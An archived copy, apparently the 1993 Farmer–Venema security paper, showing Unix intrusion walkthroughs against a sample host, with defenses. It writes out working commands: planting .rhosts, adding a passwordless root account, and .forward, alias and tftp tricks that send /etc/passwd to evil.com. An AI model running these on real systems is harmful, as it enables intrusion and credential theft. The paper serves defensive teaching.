home *** CD-ROM | disk | FTP | other *** search
/ Mac OS 9 Serial Number Archive / SN Archive 2023.11.04.toast / Cracking Texts / Hackintosh Bible v1.4 / Hackintosh Bible v1.4.rsrc / TEXT_164.txt < prev    next >
Encoding:
Text File  |  1997-05-07  |  32.0 KB  |  694 lines

  1. AdminGuideToCracking52095k“Ɇ4‹NFL’@
  2.  
  3. Default Memoerperreleorddes¬Æ¬¢≈íp‚ÄùL¬¨‚à´hÀá√Ñ.TPLACT!¬©ƒ±n‚Ñ¢\>
  4. _Improving the Security of Your Site by Breaking Into it_
  5.  
  6.  
  7.   Dan Farmer                      Wietse Venema
  8.  
  9.   Sun Microsystems                Eindhoven University of Technology
  10.   2550 garcia ave MS PAL1-407     P.O. Box 513, 5600 MB
  11.   Mountain View CA 94043          Eindhoven, NL
  12.  
  13.   zen@sun.com                     wietse@wzv.win.tue.nl
  14.  
  15.  
  16. Introduction
  17. ------------
  18.  
  19. Every day, all over the world, computer networks and hosts are being
  20. broken into.  The level of sophistication of these attacks varies
  21. widely; while it is generally believed that most break-ins succeed due
  22. to weak passwords, there are still a large number of intrusions that use
  23. more advanced techniques to break in.  Less is known about the latter
  24. types of break-ins, because by their very nature they are much harder to
  25. detect.
  26.  
  27. -----
  28.  
  29. CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
  30. Purdue.  Sun.  You name it, we've seen it broken into.  Anything that is
  31. on the Internet (and many that isn't) seems to be fairly easy game.  Are
  32. these targets unusual?  What happened?
  33.  
  34. Fade to...
  35.  
  36. A young boy, with greasy blonde hair, sitting in a dark room.  The room
  37. is illuminated only by the luminescense of the C64's 40 character
  38. screen.  Taking another long drag from his Benson and Hedges cigarette,
  39. the weary system cracker telnets to the next faceless ".mil" site on his
  40. hit list.  "guest -- guest", "root -- root", and "system -- manager" all
  41. fail.  No matter.  He has all night... he pencils the host off of his
  42. list, and tiredly types in the next potential victim...
  43.  
  44. This seems to be the popular image of a system cracker.  Young,
  45. inexperienced, and possessing vast quantities of time to waste, to get
  46. into just one more system.  However, there is a far more dangerous type
  47. of system cracker out there.  One who knows the ins and outs of the
  48. latest security auditing and cracking tools, who can modify them for
  49. specific attacks, and who can write his/her own programs.  One who not
  50. only reads about the latest security holes, but also personally
  51. discovers bugs and vulnerabilities.  A deadly creature that can both
  52. strike poisonously and hide its tracks without a whisper or hint of a
  53. trail.  The uebercracker is here.
  54.  
  55. -----
  56.  
  57. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  58. uebermensch, or, literally translated into English, "over man."
  59. Nietzsche used the term not to refer to a comic book superman, but
  60. instead a man who had gone beyond the incompetence, pettiness, and
  61. weakness of the everyday man.  The uebercracker is therefore the system
  62. cracker who has gone beyond simple cookbook methods of breaking into
  63. systems.  An uebercracker is not usually motivated to perform random
  64. acts of violence.  Targets are not arbitrary -- there is a purpose,
  65. whether it be personal monetary gain, a hit and run raid for
  66. information, or a challenge to strike a major or prestigious site or
  67. net.personality.  An uebercracker is hard to detect, harder to stop, and
  68. hardest to keep out of your site for good.
  69.  
  70. Overview
  71. --------
  72.  
  73. In this paper we will take an unusual approach to system security.
  74. Instead of merely saying that something is a problem, we will look
  75. through the eyes of a potential intruder, and show _why_ it is one.  We
  76. will illustrate that even seemingly harmless network services can become
  77. valuable tools in the search for weak points of a system, even when
  78. these services are operating exactly as they are intended to.
  79.  
  80. In an effort to shed some light on how more advanced intrusions occur,
  81. this paper outlines various mechanisms that crackers have actually used
  82. to obtain access to systems and, in addition, some techniques we either
  83. suspect intruders of using, or that we have used ourselves in tests or
  84. in friendly/authorized environments.
  85.  
  86. Our motivation for writing this paper is that system administrators are
  87. often unaware of the dangers presented by anything beyond the most
  88. trivial attacks.  While it is widely known that the proper level of
  89. protection depends on what has to be protected, many sites appear to
  90. lack the resources to assess what level of host and network security is
  91. adequate.  By showing what intruders can do to gain access to a remote
  92. site, we are trying to help system administrators to make _informed_
  93. decisions on how to secure their site -- or not.  We will limit the
  94. discussion to techniques that can give a remote intruder access to a
  95. (possibly non-interactive) shell process on a UNIX host.  Once this is
  96. achieved, the details of obtaining root privilege are beyond the scope
  97. of this work -- we consider them too site-dependent and, in many cases,
  98. too trivial to merit much discussion.
  99.  
  100. We want to stress that we will not merely run down a list of bugs or
  101. security holes -- there will always be new ones for a potential attacker
  102. to exploit.  The purpose of this paper is to try to get the reader to
  103. look at her or his system in a new way -- one that will hopefully afford
  104. him or her the opportunity to _understand_ how their system can be
  105. compromised, and how.
  106.  
  107. We would also like to reiterate to the reader that the purpose of this
  108. paper is to show you how to test the security of your own site, not how
  109. to break into other people's systems.  The intrusion techniques we
  110. illustrate here will often leave traces in your system auditing logs --
  111. it might be constructive to examine them after trying some of these
  112. attacks out, to see what a real attack might look like.  Certainly other
  113. sites and system administrators will take a very dim view of your
  114. activities if you decide to use their hosts for security testing without
  115. advance authorization; indeed, it is quite possible that legal action
  116. may be pursued against you if they perceive it as an attack.
  117.  
  118. There are four main parts to the paper.  The first part is the
  119. introduction and overview.  The second part attempts to give the reader
  120. a feel for what it is like to be an intruder and how to go from knowing
  121. nothing about a system to compromising its security.  This section goes
  122. over actual techniques to gain information and entrance and covers basic
  123. strategies such as exploiting trust and abusing improperly configured
  124. basic network services (ftp, mail, tftp, etc.)  It also discusses
  125. slightly more advanced topics, such as NIS and NFS, as well as various
  126. common bugs and configuration problems that are somewhat more OS or
  127. system specific.  Defensive strategies against each of the various
  128. attacks are also covered here.
  129.  
  130. The third section deals with trust: how the security of one system
  131. depends on the integrity of other systems.  Trust is the most complex
  132. subject in this paper, and for the sake of brevity we will limit the
  133. discussion to clients in disguise.
  134.  
  135. The fourth section covers the basic steps that a system administrator
  136. may take to protect her or his system.  Most of the methods presented
  137. here are merely common sense, but they are often ignored in practice --
  138. one of our goals is to show just how dangerous it can be to ignore basic
  139. security practices.
  140.  
  141. Case studies, pointers to security-related information, and software are
  142. described in the appendices at the end of the paper.
  143.  
  144. While exploring the methods and strategies discussed in this paper we we
  145. wrote SATAN (Security Analysis Tool for Auditing Networks.)  Written in
  146. shell, perl, expect and C, it examines a remote host or set of hosts and
  147. gathers as much information as possible by remotely probing NIS, finger,
  148. NFS, ftp and tftp, rexd, and other services.  This information includes
  149. the presence of various network information services as well as
  150. potential security flaws -- usually in the form of incorrectly setup or
  151. configured network services, well-known bugs in system or network
  152. utilities, or poor or ignorant policy decisions.  It then can either
  153. report on this data or use an expert system to further investigate any
  154. potential security problems.  While SATAN doesn't use all of the methods
  155. that we discuss in the paper, it has succeeded with ominous regularity
  156. in finding serious holes in the security of Internet sites.  It will be
  157. posted and made available via anonymous ftp when completed; Appendix A
  158. covers its salient features.
  159.  
  160. Note that it isn't possible to cover all possible methods of breaking
  161. into systems in a single paper.  Indeed, we won't cover two of the most
  162. effective methods of breaking into hosts: social engineering and
  163. password cracking.  The latter method is so effective, however, that
  164. several of the strategies presented here are geared towards acquiring
  165. password files.  In addition, while windowing systems (X, OpenWindows,
  166. etc.) can provide a fertile ground for exploitation, we simply don't
  167. know many methods that are used to break into remote systems.  Many
  168. system crackers use non-bitmapped terminals which can prevent them from
  169. using some of the more interesting methods to exploit windowing systems
  170. effectively (although being able to monitor the victim's keyboard is
  171. often sufficient to capture passwords).  Finally, while worms, viruses,
  172. trojan horses, and other malware are very interesting, they are not
  173. common (on UNIX systems) and probably will use similar techniques to the
  174. ones we describe in this paper as individual parts to their attack
  175. strategy.
  176.  
  177. Gaining Information
  178. -------------------
  179.  
  180. Let us assume that you are the head system administrator of Victim
  181. Incorporated's network of UNIX workstations.  In an effort to secure
  182. your machines, you ask a friendly system administrator from a nearby
  183. site (evil.com) to give you an account on one of her machines so that
  184. you can look at your own system's security from the outside.
  185.  
  186. What should you do?  First, try to gather information about your
  187. (target) host.  There is a wealth of network services to look at:
  188. finger, showmount, and rpcinfo are good starting points.  But don't stop
  189. there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
  190. and as many other services as you can find.  There are so many methods
  191. and techniques that space precludes us from showing all of them, but we
  192. will try to show a cross-section of the most common and/or dangerous
  193. strategies that we have seen or have thought of.  Ideally, you would
  194. gather such information about all hosts on the subnet or area of attack
  195. -- information is power -- but for now we'll examine only our intended
  196. target.
  197.  
  198. To start out, you look at what the ubiquitous finger command shows you
  199. (assume it is 6pm, Nov 6, 1993):
  200.  
  201.  victim % finger @victim.com
  202.  [victim.com]
  203.  Login       Name             TTY Idle     When    Where
  204.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  205.  
  206. Good!  A single idle user -- it is likely that no one will notice if you
  207. actually manage to break in.
  208.  
  209. Now you try more tactics.  As every finger devotee knows, fingering "@",
  210. "0", and "", as well as common names, such as root, bin, ftp, system,
  211. guest, demo, manager, etc., can reveal interesting information.  What
  212. that information is depends on the version of finger that your target is
  213. running, but the most notable are account names, along with their home
  214. directories and the host that they last logged in from.
  215.  
  216. To add to this information, you can use rusers (in particular with the
  217. -l flag) to get useful information on logged-in users.
  218.  
  219. Trying these commands on victim.com reveals the following information,
  220. presented in a compressed tabular form to save space:
  221.  
  222.  Login   Home-dir    Shell      Last login, from where
  223.  -----   --------    -----      ----------------------
  224.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  225.  bin     /bin                   Never logged in
  226.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  227.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  228.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  229.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  230.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  231.  guest   /export/foo /bin/sh    Never logged in
  232.  ftp     /home/ftp              Never logged in
  233.  
  234. Both our experiments with SATAN and watching system crackers at work
  235. have proved to us that finger is one of the most dangerous services,
  236. because it is so useful for investigating a potential target.  However,
  237. much of this information is useful only when used in conjunction with
  238. other data.
  239.  
  240. For instance, running showmount on your target reveals:
  241.  
  242.  evil % showmount -e victim.com
  243.  export list for victim.com:
  244.  /export                            (everyone)
  245.  /var                               (everyone)
  246.  /usr                               easy
  247.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  248.  /export/root/easy                  easy
  249.  /export/swap/easy                  easy
  250.  
  251. Note that /export/foo is exported to the world; also note that this is
  252. user guest's home directory.  Time for your first break-in!  In this
  253. case, you'll mount the home directory of user "guest."  Since you don't
  254. have a corresponding account on the local machine and since root cannot
  255. modify files on an NFS mounted filesystem, you create a "guest" account
  256. in your local password file.  As user guest you can put an .rhosts entry
  257. in the remote guest home directory, which will allow you to login to the
  258. target machine without having to supply a password.
  259.  
  260.  evil # mount victim.com:/export/foo /foo
  261.  evil # cd /foo
  262.  evil # ls -lag
  263.  total 3
  264.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  265.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  266.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  267.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  268.  evil # ls -lag
  269.  total 3
  270.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  271.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  272.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  273.  evil # su guest
  274.  evil % echo evil.com >> guest/.rhosts
  275.  evil % rlogin victim.com
  276.      Welcome to victim.com!
  277.  victim %
  278.  
  279. If, instead of home directories, victim.com were exporting filesystems
  280. with user commands (say, /usr or /usr/local/bin), you could replace a
  281. command with a trojan horse that executes any command of your choice.
  282. The next user to execute that command would execute your program.
  283.  
  284. We suggest that filesystems be exported:
  285.  
  286. o   Read/write only to specific, trusted clients.
  287. o   Read-only, where possible (data or programs can often be
  288.     exported in this manner.)
  289.  
  290. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  291. various vendor's machines) or has the netgroups bug (CERT advisory
  292. 91:12), any non-root user with a login name in the target's password
  293. file can rlogin to the target without a password.  And since the user
  294. "bin" often owns key files and directories, your next attack is to try
  295. to log in to the target host and modify the password file to let you
  296. have root access:
  297.  
  298.  evil % whoami
  299.  bin
  300.  evil % rsh victim.com csh -i
  301.  Warning: no access to tty; thus no job control in this shell...
  302.  victim %  ls -ldg /etc
  303.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  304.  victim %  cd /etc
  305.  victim %  mv passwd pw.old
  306.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  307.  victim % ^D
  308.  evil % rlogin victim.com -l toor
  309.      Welcome to victim.com!
  310.  victim #
  311.  
  312. A few notes about the method used above; "rsh victim.com csh -i" is used
  313. to initially get onto the system because it doesn't leave any traces in
  314. the wtmp or utmp system auditing files, making the rsh invisible for
  315. finger and who.  The remote shell isn't attached to a pseudo-terminal,
  316. however, so that screen-oriented programs such as pagers and editors
  317. will fail -- but it is very handy for brief exploration.
  318.  
  319. The COPS security auditing tool (see appendix D) will report key files
  320. or directories that are writable to accounts other than the
  321. superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
  322. file permission problems. On many systems, rsh probes as shown above,
  323. even when successful, would remain completely unnoticed; the tcp wrapper
  324. (appendix D), which logs incoming connections, can help to expose such
  325. activities.
  326.  
  327. ----
  328.  
  329. What now?  Have you uncovered all the holes on your target system?  Not
  330. by a long shot.  Going back to the finger results on your target, you
  331. notice that it has an "ftp" account, which usually means that anonymous
  332. ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
  333. is often misconfigured.  For example, the target may have a complete
  334. copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
  335. instead of a stripped down version.  In this example, though, you see
  336. that the latter doesn't seem to be true (how can you tell without
  337. actually examining the file?)  However, the home directory of ftp on
  338. victim.com is writable.  This allows you to remotely execute a command
  339. -- in this case, mailing the password file back to yourself -- by the
  340. simple method of creating a .forward file that executes a command when
  341. mail is sent to the ftp account. This is the same mechanism of piping
  342. mail to a program that the "vacation" program uses to automatically
  343. reply to mail messages.
  344.  
  345.  evil % cat forward_sucker_file
  346.  "|/bin/mail zen@evil.com < /etc/passwd"
  347.  
  348.  evil % ftp victim.com
  349.  Connected to victim.com
  350.  220 victim FTP server ready.
  351.  Name (victim.com:zen): ftp
  352.  331 Guest login ok, send ident as password.
  353.  Password:
  354.  230 Guest login ok, access restrictions apply.
  355.  ftp> ls -lga
  356.  200 PORT command successful.
  357.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  358.  total 5
  359.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  360.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  361.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  362.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  363.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  364.  226 ASCII Transfer complete.
  365.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  366.  ftp> put forward_sucker_file .forward
  367.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  368.  ftp> quit
  369.  evil % echo test | mail ftp@victim.com
  370.  
  371. Now you simply wait for the password file to be sent back to you.
  372.  
  373. The security auditing tool COPS will check your anonymous ftp setup; see
  374. the man page for ftpd, the documentation/code for COPS, or CERT advisory
  375. 93:10 for information on how to set up anonymous ftp correctly.
  376. Vulnerabilities in ftp are often a matter of incorrect ownership or
  377. permissions of key files or directories. At the very least, make sure
  378. that ~ftp and all "system" directories and files below ~ftp are owned by
  379. root and are not writable by any user.
  380.  
  381. While looking at ftp, you can check for an older bug that was once
  382. widely exploited:
  383.  
  384.  % ftp -n
  385.  ftp> open victim.com
  386.  Connected to victim.com
  387.  220 victim.com FTP server ready.
  388.  ftp> quote user ftp
  389.  331 Guest login ok, send ident as password.
  390.  ftp> quote cwd ~root
  391.  530 Please login with USER and PASS.
  392.  ftp> quote pass ftp
  393.  230 Guest login ok, access restrictions apply.
  394.  ftp> ls -al / (or whatever)
  395.  
  396. If this works, you now are logged in as root, and able to modify the
  397. password file, or whatever you desire.  If your system exhibits this
  398. bug, you should definitely get an update to your ftpd daemon, either
  399. from your vendor or (via anon ftp) from ftp.uu.net.
  400.  
  401. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  402. Washington University in Saint Louis, had almost the same problem.  If
  403. your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
  404. more recent version.
  405.  
  406. Finally, there is a program vaguely similar to ftp -- tftp, or the
  407. trivial file transfer program.  This daemon doesn't require any password
  408. for authentication; if a host provides tftp without restricting the
  409. access (usually via some secure flag set in the inetd.conf file), an
  410. attacker can read and write files anywhere on the system. In the
  411. example, you get the remote password file and place it in your local
  412. /tmp directory:
  413.  
  414.  evil % tftp
  415.  tftp> connect victim.com
  416.  tftp> get /etc/passwd /tmp/passwd.victim
  417.  tftp> quit
  418.  
  419. For security's sake, tftp should not be run; if tftp is necessary, use
  420. the secure option/flag to restrict access to a directory that has no
  421. valuable information, or run it under the control of a chroot wrapper
  422. program.
  423.  
  424. ----
  425.  
  426. If none of the previous methods have worked, it is time to go on to more
  427. drastic measures.  You have a friend in rpcinfo, another very handy
  428. program, sometimes even more useful than finger.  Many hosts run RPC
  429. services that can be exploited; rpcinfo can talk to the portmapper and
  430. show you the way.  It can tell you if the host is running NIS, if it is
  431. a NIS server or slave, if a diskless workstation is around, if it is
  432. running NFS, any of the info services (rusersd, rstatd, etc.), or any
  433. other unusual programs (auditing or security related).  For instance,
  434. going back to our sample target:
  435.  
  436.  evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  437.     program vers proto   port
  438.      100004    2   tcp    673  ypserv
  439.      100005    1   udp    721  mountd
  440.      100003    2   udp   2049  nfs
  441.      100026    1   udp    733  bootparam
  442.      100017    1   tcp   1274  rexd
  443.  
  444. In this case, you can see several significant facts about our target;
  445. first of which is that it is an NIS server.  It is perhaps not widely
  446. known, but once you know the NIS domainname of a server, you can get any
  447. of its NIS maps by a simple rpc query, even when you are outside the
  448. subnet served by the NIS server (for example, using the YPX program that
  449. can be found in the comp.sources.misc archives on ftp.uu.net).  In
  450. addition, very much like easily guessed passwords, many systems use
  451. easily guessed NIS domainnames.  Trying to guess the NIS domainname is
  452. often very fruitful. Good candidates are the fully and partially
  453. qualified hostname (e.g.  "victim" and "victim.com"), the organization
  454. name, netgroup names in "showmount" output, and so on.  If you wanted to
  455. guess that the domainname was "victim", you could type:
  456.  
  457.  evil % ypwhich -d victim victim.com
  458.  Domain victim not bound.
  459.  
  460. This was an unsuccessful attempt; if you had guessed correctly it would
  461. have returned with the host name of victim.com's NIS server.  However,
  462. note from the NFS section that victim.com is exporting the "/var"
  463. directory to the world.  All that is needed is to mount this directory
  464. and look in the "yp" subdirectory -- among other things you will see
  465. another subdirectory that contains the domainname of the target.
  466.  
  467.  evil # mount victim.com:/var /foo
  468.  evil # cd /foo
  469.  evil # /bin/ls -alg /foo/yp
  470.  total 17
  471.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  472.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  473.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  474.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  475.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  476.     [...]
  477.  
  478. In this case, "foo_bar" is the NIS domain name.
  479.  
  480. In addition, the NIS maps often contain a good list of user/employee
  481. names as well as internal host lists, not to mention passwords for
  482. cracking.
  483.  
  484. Appendix C details the results of a case study on NIS password files.
  485.  
  486. ----
  487.  
  488. You note that the rpcinfo output also showed that victim.com runs rexd.
  489. Like the rsh daemon, rexd processes requests of the form "please execute
  490. this command as that user". Unlike rshd, however, rexd does not care if
  491. the client host is in the hosts.equiv or .rhost files. Normally the rexd
  492. client program is the "on" command, but it only takes a short C program
  493. to send arbitrary client host and userid information to the rexd server;
  494. rexd will happily execute the command.  For these reasons, running rexd
  495. is similar to having no passwords at all: all security is in the client,
  496. not in the server where it should be. Rexd security can be improved
  497. somewhat by using secure RPC.
  498.  
  499. ----
  500.  
  501. While looking at the output from rpcinfo, you observe that victim.com
  502. also seems to be a server for diskless workstations. This is evidenced
  503. by the presence of the bootparam service, which provides information to
  504. the diskless clients for booting.  If you ask nicely, using
  505. BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
  506. its NIS domainname.  This can be very useful when combined with the fact
  507. that you can get arbitrary NIS maps (such as the password file) when you
  508. know the NIS domainname.  Here is a sample code snippet to do just that
  509. (bootparam is part of SATAN.)
  510.  
  511.     char   *server;
  512.     struct bp_whoami_arg arg;           /* query */
  513.     struct bp_whoami_res res;           /* reply */
  514.  
  515.     /* initializations omitted... */
  516.  
  517.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  518.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  519.  
  520.     printf("%s has nisdomain %s\n", server, res.domain_name);
  521.  
  522. The showmount output indicated that "easy" is a diskless client of
  523. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
  524. query:
  525.  
  526.  evil % bootparam victim.com easy.victim.com
  527.  victim.com has nisdomain foo_bar
  528.  
  529. ----
  530.  
  531. NIS masters control the mail aliases for the NIS domain in question.
  532. Just like local mail alias files, you can create a mail alias that will
  533. execute commands when mail is sent to it (a once popular example of this
  534. is the "decode" alias which uudecodes mail files sent to it.)  For
  535. instance, here you create an alias "foo", which mails the password file
  536. back to evil.com by simply mailing any message to it:
  537.  
  538.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  539.  nis-master # cd /var/yp
  540.  nis-master # make aliases
  541.  nis-master # echo test | mail -v foo@victim.com
  542.  
  543. Hopefully attackers won't have control of your NIS master host, but even
  544. more hopefully the lesson is clear -- NIS is normally insecure, but if
  545. an attacker has control of your NIS master, then s/he effectively has
  546. control of the client hosts (e.g. can execute arbitrary commands).
  547.  
  548. There aren't many effective defenses against NIS attacks; it is an
  549. insecure service that has almost no authentication between clients and
  550. servers.  To make things worse, it seems fairly clear that arbitrary
  551. maps can be forced onto even master servers (e.g., it is possible to
  552. treat an NIS server as a client). This, obviously, would subvert the
  553. entire schema.  If it is absolutely necessary to use NIS, choosing a
  554. hard to guess domainname can help slightly, but if you run diskless
  555. clients that are exposed to potential attackers then it is trivial for
  556. an attacker to defeat this simple step by using the bootparam trick to
  557. get the domainname.  If NIS is used to propagate the password maps, then
  558. shadow passwords do not give additional protection because the shadow
  559. map is still accessible to any attacker that has root on an attacking
  560. host.  Better is to use NIS as little as possible, or to at least
  561. realize that the maps can be subject to perusal by potentially hostile
  562. forces.
  563.  
  564. Secure RPC goes a long way to diminish the threat, but it has its own
  565. problems, primarily in that it is difficult to administer, but also in
  566. that the cryptographic methods used within are not very strong.  It has
  567. been rumored that NIS+, Sun's new network information service, fixes
  568. some of these problems, but until now it has been limited to running on
  569. Suns, and thus far has not lived up to the promise of the design.
  570. Finally, using packet filtering (at the very least port 111) or
  571. securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
  572. all can help.
  573.  
  574. ----
  575.  
  576. The portmapper only knows about RPC services.  Other network services
  577. can be located with a brute-force method that connects to all network
  578. ports.  Many network utilities and windowing systems listen to specific
  579. ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
  580. usually on port 6000, etc.)  SATAN includes a program that scans the
  581. ports of a remote hosts and reports on its findings; if you run it
  582. against our target, you see:
  583.  
  584.  evil % tcpmap victim.com
  585.  Mapping 128.128.128.1
  586.  port 21: ftp
  587.  port 23: telnet
  588.  port 25: smtp
  589.  port 37: time
  590.  port 79: finger
  591.  port 512: exec
  592.  port 513: login
  593.  port 514: shell
  594.  port 515: printer
  595.  port 6000: (X)
  596.  
  597. This suggests that victim.com is running X windows.  If not protected
  598. properly (via the magic cookie or xhost mechanisms), window displays can
  599. be captured or watched, user keystrokes may be stolen, programs executed
  600. remotely, etc.  Also, if the target is running X and accepts a telnet to
  601. port 6000, that can be used for a denial of service attack, as the
  602. target's windowing system will often "freeze up" for a short period of
  603. time.  One method to determine the vulnerability of an X server is to
  604. connect to it via the XOpenDisplay() function; if the function returns
  605. NULL then you cannot access the victim's display (opendisplay is part of
  606. SATAN):
  607.  
  608.     char   *hostname;
  609.  
  610.     if (XOpenDisplay(hostname) == NULL) {
  611.        printf("Cannot open display: %s\n", hostname);
  612.     } else {
  613.        printf("Can open display: %s\n", hostname);
  614.     }
  615.  
  616.  evil % opendisplay victim.com:0
  617.  Cannot open display: victim.com:0
  618.  
  619. X terminals, though much less powerful than a complete UNIX system, can
  620. have their own security problems.  Many X terminals permit unrestricted
  621. rsh access, allowing you to start X client programs in the victim's
  622. terminal with the output appearing on your own screen:
  623.  
  624.  evil % xhost +xvictim.victim.com
  625.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  626.  
  627. In any case, give as much thought to your window security as your
  628. filesystem and network utilities, for it can compromise your system as
  629. surely as a "+" in your hosts.equiv or a passwordless (root) account.
  630.  
  631. ----
  632.  
  633. Next, you examine sendmail.  Sendmail is a very complex program that has
  634. a long history of security problems, including the infamous "wiz"
  635. command (hopefully long since disabled on all machines).  You can often
  636. determine the OS, sometimes down to the version number, of the target,
  637. by looking at the version number returned by sendmail.  This, in turn,
  638. can give you hints as to how vulnerable it might be to any of the
  639. numerous bugs.  In addition, you can see if they run the "decode" alias,
  640. which has its own set of problems:
  641.  
  642.  evil % telnet victim.com 25
  643.  connecting to host victim.com (128.128.128.1.), port 25
  644.  connection open
  645.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  646.  expn decode
  647.  250 <"|/usr/bin/uudecode">
  648.  quit
  649.  
  650. Running the "decode" alias is a security risk -- it allows potential
  651. attackers to overwrite any file that is writable by the owner of that
  652. alias -- often daemon, but potentially any user.  Consider this piece of
  653. mail -- this will place "evil.com" in user zen's .rhosts file if it is
  654. writable:
  655.  
  656.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  657.  
  658. If no home directories are known or writable, an interesting variation
  659. of this is to create a bogus /etc/aliases.pag file that contains an
  660. alias with a command you wish to execute on your target.  This may work
  661. since on many systems the aliases.pag and aliases.dir files, which
  662. control the system's mail aliases, are writable to the world.
  663.  
  664.  evil % cat decode
  665.  bin: "| cat /etc/passwd | mail zen@evil.com"
  666.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  667.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  668.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  669.  
  670. A lot of things can be found out by just asking sendmail if an address
  671. is acceptable (vrfy), or what an address expands to (expn).  When the
  672. finger or rusers services are turned off, vrfy and expn can still be
  673. used to identify user accounts or targets.  Vrfy and expn can also be
  674. used to find out if the user is piping mail through any program that
  675. might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
  676. good idea to disable the vrfy and expn commands: in most versions, look
  677. at the source file srvrsmtp.c, and either delete or change the two lines
  678. in the CmdTab structure that have the strings "vrfy" and "expn".  Sites
  679. without source can still disable expn and vrfy by just editing the
  680. sendmail executable with a binary editor and replacing "vrfy" and "expn"
  681. with blanks.  Acquiring a recent version of sendmail (see Appendix D) is
  682. also an extremely good idea, since there have probably been more
  683. security bugs reported in sendmail than in any other UNIX program.
  684.  
  685. ----
  686.  
  687. As a sendmail-sendoff, there are two fairly well known bugs that should
  688. be checked into.  The first was definitely fixed in version 5.59 from
  689. Berkeley; despite the messages below, for versions of sendmail previous
  690. to 5.59, the "evil.com" gets appended, despite the error messages, along
  691. with all of the typical mail headers, to the file specified:
  692.  
  693.  % cat evil_sendmail
  694.